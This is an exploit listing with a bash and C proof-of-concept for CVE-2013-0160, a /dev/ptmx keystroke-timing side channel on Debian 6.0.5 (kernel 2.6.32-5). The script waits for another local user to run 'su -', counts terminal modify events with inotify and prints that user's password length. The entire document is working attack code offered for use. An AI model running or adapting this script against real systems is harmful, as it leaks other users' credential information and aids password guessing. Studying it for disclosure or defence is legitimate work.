Linux Kernel 2.6.32-5 (Debian 6.0.5) - '/dev/ptmx' Key Stroke Timing Local Disclosure

#!/bin/bash
# ptmx-su-pwdlen.sh -- This PoC determine the password length of a local
# user who runs "su -".  Done thanks to the ptmx keystroke timing attack
# (CVE-2013-0160). See http://vladz.devzero.fr/013_ptmx-timing.php for
# more information.  
#
# Tested on Debian 6.0.5 (kernel 2.6.32-5-amd64).
#
# "THE BEER-WARE LICENSE" (Revision 42):
# <vladz@devzero.fr> wrote this file. As long as you retain this notice
# you can do whatever you want with this stuff. If we meet some day, and
# you think this stuff is worth it, you can buy me a beer in return. -V.

if ps -e -o cmd= | egrep -q "^(-|^)su"; then
  echo "[-] Kill/close all running \"su\" session before using this PoC"
  exit 1
fi

exe=$(mktemp) || exit 1
tmp=$(mktemp) || exit 1

cat > ${exe}.c << _EOF_
#include <stdio.h>
#include <signal.h>
#include <unistd.h>
#include <sys/inotify.h>

static int count = 0;

void display_result() {

  printf("[+] password len is %d\n", count-1);
  _exit(0);
}

int main() {

  int fd;
  char buf[1024];

  signal(SIGINT, display_result);

  fd = inotify_init();
  inotify_add_watch(fd, "/dev/ptmx", IN_MODIFY);

  while(read(fd, buf, 1024)) count++; 

  return 0;
}
_EOF_

cc -o ${exe}{,.c}

echo "[*] Wait for someone to run \"su -\""

while true; do 

  ps -e -o cmd= | egrep "^(-|^)su" >${tmp}
  x=$(wc -l ${tmp})

  case ${x% *} in

    1) (( run )) && continue;
       echo -n "[+] su detected, full command: "
       cat ${tmp}; ${exe} & 
       (( run = 1 ))  ;;

    2) [ ! -z "$!" ] && kill -2 $!; break ;;

  esac

done

rm -f ${exe}{,.c} ${tmp}